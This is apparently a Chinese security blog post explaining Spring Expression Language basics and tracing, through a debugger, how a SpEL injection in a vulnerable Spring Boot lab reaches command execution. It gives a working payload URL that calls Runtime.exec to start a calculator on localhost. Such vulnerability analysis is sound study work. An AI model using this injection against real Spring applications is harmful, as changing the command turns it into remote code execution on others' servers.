Springboot-Spel表达式注入
2023-05-04 11:35:36

[toc]

0x01 SpEL表达式基础

SpEL简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SpEL定界符——#{}

SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。

这里需要注意#{}${}的区别:

  • #{}就是SpEL的定界符,用于指明内容通过SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的;

0x02 环境搭建

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

直接运行

打开本地9091即可

payload

1
http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}

image-20230522151544480

0x03 漏洞分析

随便打个断点

image-20230522151557905

往下跟进

image-20230522151611575

这里捕获到web端的异常信息,判断targetExceptionRuntimeException类的对象,将我们输入的内容赋值给了targetException

经过分支,Throwable提取保存在堆栈中的错误信息。

image-20230522151623665

后面都是一些无关紧要的。。。

直接将断点打在

image-20230522151635974

这里是调用SpEL解析器来解析上下文内容

image-20230522151649905

可以看到有报错的类,路径,报错类型、输入内容,事件和状态码

根据上面的信息,我们直接来看message即可,timestampstatus可以直接跳过

image-20230522151707822

跟进getValue

image-20230522151718932

第一步和上面一样,都是调用SpEL解析器根据上下文来解析内容

这里是已经编译了,未false,跳过if

image-20230522151726835

这里利用标准评估上下文对象StandardEvaluationContext来对抽象语法树进行解析,实际是一个深度优先搜索的计算过程,最终返回整个表达式的计算结果;

1
2
3
4
ExpressionState expressionState = new ExpressionState(context, this.configuration);
Object result = this.ast.getValue(expressionState);
checkCompile(expressionState);
return result;

获取输入的内容并调用toString

image-20230522151736503

接着跟进到这里

image-20230522151749339

其中placeholder拿到值messageprovalpayload

image-20230522151758072

并调用StringBuilder来处理修改我们的payload

image-20230522151805129

1
int startIndex = strVal.indexOf(this.placeholderPrefix);

获取payload的前缀${

image-20230522151812827

进入while后,定义了endIndex

1
int endIndex = findPlaceholderEndIndex(result, startIndex);

来看下findPlaceholderEndIndex方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private int findPlaceholderEndIndex(CharSequence buf, int startIndex) {
int index = startIndex + this.placeholderPrefix.length();
int withinNestedPlaceholder = 0;
while (index < buf.length()) {
if (StringUtils.substringMatch(buf, index, this.placeholderSuffix)) {
if (withinNestedPlaceholder > 0) {
withinNestedPlaceholder--;
index = index + this.placeholderSuffix.length();
}
else {
return index;
}
}
else if (StringUtils.substringMatch(buf, index, this.simplePrefix)) {
withinNestedPlaceholder++;
index = index + this.simplePrefix.length();
}
else {
index++;
}
}
return -1;
}

从上图可知,int index也就等于24+2=26

显然index<buf.length(),进入while循环

image-20230522151821848

接着会遍历字符串是否为后缀”}”,从index=26开始

image-20230522151832032

似乎到109就结束了

下一步

img

这里For input string: &quot;是24,

1
String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);

换句话说也就是

1
String placeholder = result.substring(24 + 2, 109);

换言之

也就是将${}中的内容提取出来

1
T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))

image-20230522152224788

并将其赋值给originalPlaceholder

重写的resolvePlaceholder处理name

image-20230522152232137

还是同样的getValue

获取上下文和Expression

并编译表达式

img